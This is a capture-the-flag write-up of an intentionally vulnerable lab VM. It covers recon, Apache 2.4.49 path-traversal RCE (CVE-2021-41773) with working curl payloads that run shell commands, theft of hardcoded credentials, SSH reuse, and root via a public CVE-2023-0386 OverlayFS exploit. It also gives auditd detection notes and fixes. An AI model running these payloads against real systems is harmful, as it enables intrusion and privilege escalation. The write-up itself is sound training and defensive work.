# Unpatched Legacy Lab - Writeup --- ## Metadata | Field | Value | | -------------- | -------------- | | **Author** | Julian Ertle | | **Date** | 03.06.2026 | | **Difficulty** | Easy-Medium | | **IP** | 192.168.56.101 | | **Time spent** | 4-5 hours | --- ## Overview Unpatched Legacy Lab is a Linux machine featuring a forgotten university server with unpatched services and kernel vulnerabilities. Initial access is gained via Apache path traversal leading to RCE as the daemon user. Following internal enumeration, lateral movement is achieved via password reuse on an internal service. Finally, privilege escalation to root is performed by exploiting a known OverlayFS kernel vulnerability (CVE-2023-0386). ## Reconnaissance ### 1. Web Interface Inspection (Initial Touch) **Goal**: Establish a baseline understanding by interacting with the web portal at `http://192.168.56.101`. The landing page loads a portal titled **"University SixSeven - Legacy Assignment Portal"**. Visual inspection reveals an archive table listing various student submissions from the 2021 winter semester. **Screenshot 00** — `screenshots/00-website.png` One specific entry stood out: `homework_v6_apache_normalization.txt`. By navigating to `http://192.168.56.101/archive/homework_v6_apache_normalization.txt`, the following content was retrieved: > **Topic: Vulnerability Analysis: Path Normalization** > **Student: Andreas Weber** > > The logic flaw resides within the 'ap_normalize_path()' function of the Apache HTTP Server. > If attackers transmit dots in the path using URL encoding (such as .%%32%65 > or %%32%65%%32%65), the sanitization routine fails to properly normalize > the request. This allows for path traversal into restricted directories > (like /cgi-bin/) and, if configured, Remote Code Execution. **Interpretation**: This document acts as a **definitive indicator** for the vulnerability path. It explicitly identifies the vulnerability class (Path Normalization), the target component (Apache), and provides the exact bypass syntax (`.%%32%65`) required for the exploit. ### 2. Port Enumeration **Goal**: Verify the identified web service, look for additional back-management daemons, and check for decoy services. **Command**: ```bash nmap -sV -sC -oN initial_scan.txt 192.168.56.101 ``` **Output:** > PORT STATE SERVICE VERSION > 21/tcp open ftp vsftpd 3.0.5 or later > 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.14 > 80/tcp open http Apache httpd 2.4.49 ((Unix)) > |\_http-server-header: Apache/2.4.49 (Unix) > |\_http-title: University SixSeven - Legacy Assignment Portal **Interpretation**: Port 80 (HTTP): Confirms Apache 2.4.49. This validates the hint found in the assignment portal; the version is indeed vulnerable to the path normalization flaw. Port 21 (FTP): vsftpd 3.0.5 with anonymous login enabled. This looks like a prime target for credential harvesting. Port 22 (SSH): OpenSSH 8.9p1 detected. This service will be the target for our lateral movement once credentials are obtained. **Decision**: HTTP/Apache is the primary attack surface due to the confirmed vulnerability in version 2.4.49. FTP will be investigated briefly for potential credential leakage, while SSH is noted as the target for lateral movement once initial access is achieved. ### 3. Web Enumeration Analysis Goal: Verify the active environment and identify potential execution endpoints. **Command**: ```bash gobuster dir -u "http://192.168.56.101/cgi-bin/" -w seclists_common.txt ``` **Output:** /printenv (Status: 500) /test-cgi (Status: 500) **Interpretation:** The identification of these scripts with an HTTP 500 Internal Server Error is a technical indicator of an active CGI environment. The error suggests that while the scripts exist and are being executed by the web server, they terminate prematurely due to missing or malformed HTTP header information required by the CGI standard. This validates the hint found in homework_v6_apache_normalization.txt and confirms the server is inadequately hardened. ### 4. Rabbit Hole Investigation (FTP) **Goal:** Investigate anonymous FTP access to determine if it yields credentials, sensitive configuration, or actionable intelligence for the primary attack path. **Action**: An anonymous login attempt was performed to investigate potential data leakage. ```bash ftp 192.168.56.101 # User: anonymous | Pass: (none) ``` Investigation: Accessing the FTP root revealed static policy documents related to the university's decommissioning plan. After spending time verifying the file system and searching for hidden configurations, it was concluded that the FTP service acts as a Rabbit Hole. It provides narrative immersion but lacks actionable intelligence. Focus returned to the primary path. ## Foothold ### 1. Remote Code Execution (CVE-2021-41773) **Vulnerability Background**: The Apache version 2.4.49 is susceptible to a path normalization vulnerability. By utilizing the URL-encoding sequence .%%32%65, I successfully bypassed directory restrictions to traverse outside the document root and invoke system binaries directly within the CGI execution context. **Execution**: A crafted request was sent to invoke /bin/sh and execute system identification commands: **Command**: ```bash curl -d "echo; id; whoami" "http://192.168.56.101/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh" ``` **Output**: uid=1(daemon) gid=1(daemon) groups=1(daemon) daemon **Interpretation**: The successful output confirms Remote Code Execution within the context of the daemon user. This establishes the initial foothold. ## User Access (Credential Discovery and Reuse) ### Discovery **Goal**: Extract actionable credentials from discovered configuration files to facilitate lateral movement. After establishing the foothold, I mapped the internal attack surface to identify services hidden behind the local interface. **Command**: ```bash curl -s -d "echo; netstat -plnt" "http://192.168.56.101/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh" ``` **Output**: ```bash Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 127.0.0.1:8888 0.0.0.0:* LISTEN - tcp 0 0 0.0.0.0:21 0.0.0.0:* LISTEN - tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN - tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN - tcp6 0 0 :::22 :::* LISTEN - tcp6 0 0 :::80 :::* LISTEN - ``` **Discovery**: The scan revealed a service listening on 127.0.0.1:8888. ### Credential Discovery Suspecting a custom application from the found service at port 8888, I audited the /opt/ directory, which is the standard location for non-packaged software on Linux. **Command**: ```bash curl -s -d "echo; ls -la /opt/" "http://192.168.56.101/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh" ``` **Output**: -rw-r--r-- 1 root root 124 May 19 14:00 internal_logs.py **Action**: Inspect internal_logs.py for hardcoded authentication strings or database configurations. Upon identifying the source file, I read its contents to determine if it contained hardcoded configuration data. **Command**: ```bash curl -s -d "echo; cat /opt/internal_logs.py" "http://192.168.56.101/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh" ``` Discovered Credentials: student:P@ssw0rd123 **Screenshot 01** — `screenshots/01-studentpw.png` ### SSH Login (Password Reuse) Using the harvested credentials, I established a stable, interactive SSH session to facilitate the final privilege escalation phase. **Command**: ```bash ssh student@192.168.56.101 # Password: P@ssw0rd123 ``` I spawned a limited shell and began with a basic directory listing: ```bash student@legacylab:~$ ls Documents Downloads homework_archive user.txt ``` **User flag**: The first flag is stored in user.txt: **CTF{05af79a7a1f95de384a0e0f0003ddd8b}** **Screenshot 02** — `screenshots/02-flag-1.png` ### Situational Awareness After retrieving the user flag, I conducted a thorough inspection of the user’s home directories: **Command**: ```bash student@legacylab:~$ ls Documents Downloads homework_archive user.txt ``` Documents/ contained an assignments folder, including the file assignment3_notes.txt, where the student mentions researching OverlayFS privilege-escalation vulnerabilities, specifically CVE-2023-0386, along with a link (https://github.com/xkaneiki/CVE-2023-0386.git) to a publicly available PoC. This is the only directory that provides an actionable hint for the next exploitation step. Downloads/ only contained an outdated MySQL backup reference (db_backup.sql), which is irrelevant because the MySQL daemon is disabled. homework_archive/ contained course files related to cryptography and networks, none of which provide credentials, misconfigurations, or privilege-escalation vectors. Only the file assignment3_notes.txt points toward the intended privilege-escalation path. It explicitly suggests checking for OverlayFS vulnerabilities and testing CVE-2023-0386 PoCs. Before attempting exploitation, I verified whether the machine runs a kernel version vulnerable to CVE-2023-0386, a 2023 OverlayFS privilege escalation affecting multiple Ubuntu releases. **Command**: ```bash student@legacylab:~$ uname -a Linux legacylab 5.15.0-25-generic #25-Ubuntu SMP Wed Mar 30 15:54:22 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux ``` **Interpretation**: This confirms the escalation path: → Compile and run the CVE-2023-0386 exploit to escalate from the daemon web user to root. ## Privilege Escalation The first check after getting a user shell: ```bash student@legacylab:~$ sudo -l Result: Sorry, user student may not run sudo on legacylab. ``` **Interpretation:** The attacker needs to find another way to get access to root priviledges. With confirmed kernel version 5.15.0-25-generic from before however, the system matches a known vulnerable range for OverlayFS copy-up privilege escalation (CVE-2023-0386). Combined with the explicit hint from assignment3_notes.txt, this establishes a direct path to root. ### 1. Exploit Setup The public proof-of-concept was cloned into a writable directory and compiled: **Command**: ```bash cd /tmp git clone https://github.com/xkaneiki/CVE-2023-0386.git cd CVE-2023-0386 make ``` ### 2. FUSE Layer Initialization The exploit relies on a FUSE-based setup to trigger the OverlayFS copy-up race condition. The directory parameters are forcefully cleared and re-created to eliminate conflicting directory structures from previous executions before spawning the background daemon: **Command**: ```bash rm -rf gc ovlcap/lower && mkdir -p gc ovlcap/lower ./fuse ./ovlcap/lower ./gc ``` This process/terminal must remain active, as it handles the manipulated filesystem operations used during privilege escalation. **Screenshot 03** — `screenshots/03-terminals.png` ### 3. Open Second Terminal Session To proceed with privilege escalation, a second terminal session was opened. A new SSH login was performed using the previously obtained credentials: **Command**: ```bash ssh student@192.168.56.101 # Password: P@ssw0rd123 ``` This second session is used to execute the exploit while the FUSE process continues running in the first terminal. ### 4. Execute Exploit In the second terminal, navigate back to the exploit directory: **Command**: ```bash cd /tmp/CVE-2023-0386 ./exp ``` The exploit leverages a race condition in the OverlayFS copy-up mechanism to manipulate file permissions and execute actions as root. ### 5. Verify Privileges After successful execution, privilege level was verified: **Command**: ```bash whoami --> root ``` **Result**: The system is successfully compromised via CVE-2023-0386 (OverlayFS vulnerability). By combining a local exploit with a second SSH session, the student user is escalated to root, confirming full system compromise. ### 6. Root Flag After successfully escalating privileges to root, I accessed the root user's home directory to retrieve the final flag. **Command**: ```bash root@legacylab:/root# cat root.txt CTF{331f4c5cb9f06809be821031cb08c3ec} ``` **Conclusion** The final flag confirms full system compromise with root-level access achieved via CVE-2023-0386 (OverlayFS privilege escalation). ## Observability & Detection Highlights To bridge offensive operations with system defense, the infrastructure was provisioned with an automated Ansible role executing the Linux Audit Framework (`auditd`). In the default raw state of the server, file manipulation and privilege changes remained silent. The custom logging configuration closes these visibility gaps. Running the `solve.sh` automation script generates explicit telemetry entries within `/var/log/audit/audit.log`: 1. **Credential Looting Detection (`key=credential_loot`):** When the `daemon` user opens the configuration script, the kernel logs the read context: `type=SYSCALL ... comm=cat exe=/usr/bin/cat ... uid=daemon ... key=credential_loot` 2. **Privilege Escalation Detection (`key=priv_change`):** The group manipulation and SUID transitions executed by the OverlayFS logic race are caught down at the syscall layer: `type=SYSCALL ... syscall=setgid success=yes ... comm=sudo ... key=priv_change` 3. **Flag Access Detection (`key=flag_read`):** The absolute retrieval of the root flag file in `/tmp/` records explicit text tracking mappings: `type=PROCTITLE ... proctitle=cat /tmp/root_flag.txt` ## Summary **Flags captured**: 2/2 **Total time**: ~3.5 hours **Difficulty assessment**: Easy-Medium ### Attack Chain | Step | Action | Result | MITRE ATT&CK | | ---- | --------------------------------------- | --------------------------------------- | ---------------- | | 1 | `nmap -sV -sC` | 3 services; Apache 2.4.49 banner | T1046 | | 2 | `gobuster dir` /cgi-bin/ | Confirmed CGI environment | T1083 | | 3 | CVE-2021-41773 path traversal | RCE as `daemon` | T1190, T1059 | | 4 | `netstat` + `cat /opt/internal_logs.py` | Found credentials `student:P@ssw0rd123` | T1552.001 | | 5 | SSH as `student` | Shell as `student` + user flag | T1078, T1021.004 | | 6 | Enumerate `assignment3_notes.txt` | CVE-2023-0386 OverlayFS path | T1082, T1068 | | 7 | CVE-2023-0386 OverlayFS exploit | Root shell + root flag | T1068 | **Tactics covered (ATT&CK)**: Reconnaissance, Initial Access, Execution, Discovery, Credential Access, Lateral Movement, Privilege Escalation — **7 distinct tactics.** **Following deployment of the tracking role configurations, 8/8 attack steps are fully logged (100% post-configuration visibility).** ### Key Vulnerabilities 1. **CVE-2021-41773 (Apache Path Normalization)**: Unsanitized path normalization allowed directory traversal into the `/cgi-bin/` directory, leading to unauthorized code execution. **Fix**: Update Apache to a patched version (>= 2.4.50) where path normalization is correctly enforced. 2. **Hardcoded Credentials**: Sensitive credentials for the `student` user were stored in cleartext in `/opt/internal_logs.py`. **Fix**: Never store credentials in application source code. Use dedicated secret management services or environment variables with restricted read permissions. 3. **Kernel Vulnerability (CVE-2023-0386)**: The system kernel was vulnerable to an OverlayFS copy-up race condition, allowing unprivileged users to gain root access. **Fix**: Regularly update the host kernel and apply security patches via the distribution's package manager. 4. **Information Disclosure (Internal Discovery)**: Sensitive internal services were accessible via loopback (127.0.0.1:8888). **Fix**: Bind internal services only to local interfaces if they are not intended for remote access, and implement additional firewall rules for the loopback interface. ### Lessons Learned - **What took longer than expected?** The FUSE setup for the OverlayFS exploit was a headache. I kept messing up the terminal order, and it took a few tries to get the race condition to actually trigger. I expected it to work on the first try, but it definitely needed some patience to get the timing right. Additionally, automating this process via `solve.sh` introduced unexpected compilation errors because the public exploit's `Makefile` forced static linking (`-static`). Troubleshooting this required analyzing the build parameters and fixing it programmatically using `sed`. - **What would you do differently on a similar box?** I spent a bit too much time manually digging through the file system after getting the initial shell. Next time, I’d probably just run a quick script to grab all the interesting config files in `/opt/` and `/var/www/` at once. It would have saved me a lot of manual `ls` and `cat` commands. - **Any tools or techniques you used for the first time?** This was my first time dealing with a FUSE-based exploit. It was actually pretty cool to see how it mounts the file system to trigger the kernel bug. It felt much more "hands-on" than just running a standard Python script. Furthermore, during the script development, I learned how to orchestrate interactive multi-terminal authentication pipelines programmatically using native Unix environment variables like `SSH_ASKPASS` to route credentials securely without third-party utilities. - **What does this box teach about real-world attack patterns?** It really shows how you can't just look at one service. I was focused on the web exploit, but the real way to win was by linking the web entry point to that internal logging script. It made me realize that even if a server looks "hardened" on the outside, there’s usually some "legacy" mess left behind in the folders that developers forgot to clean up.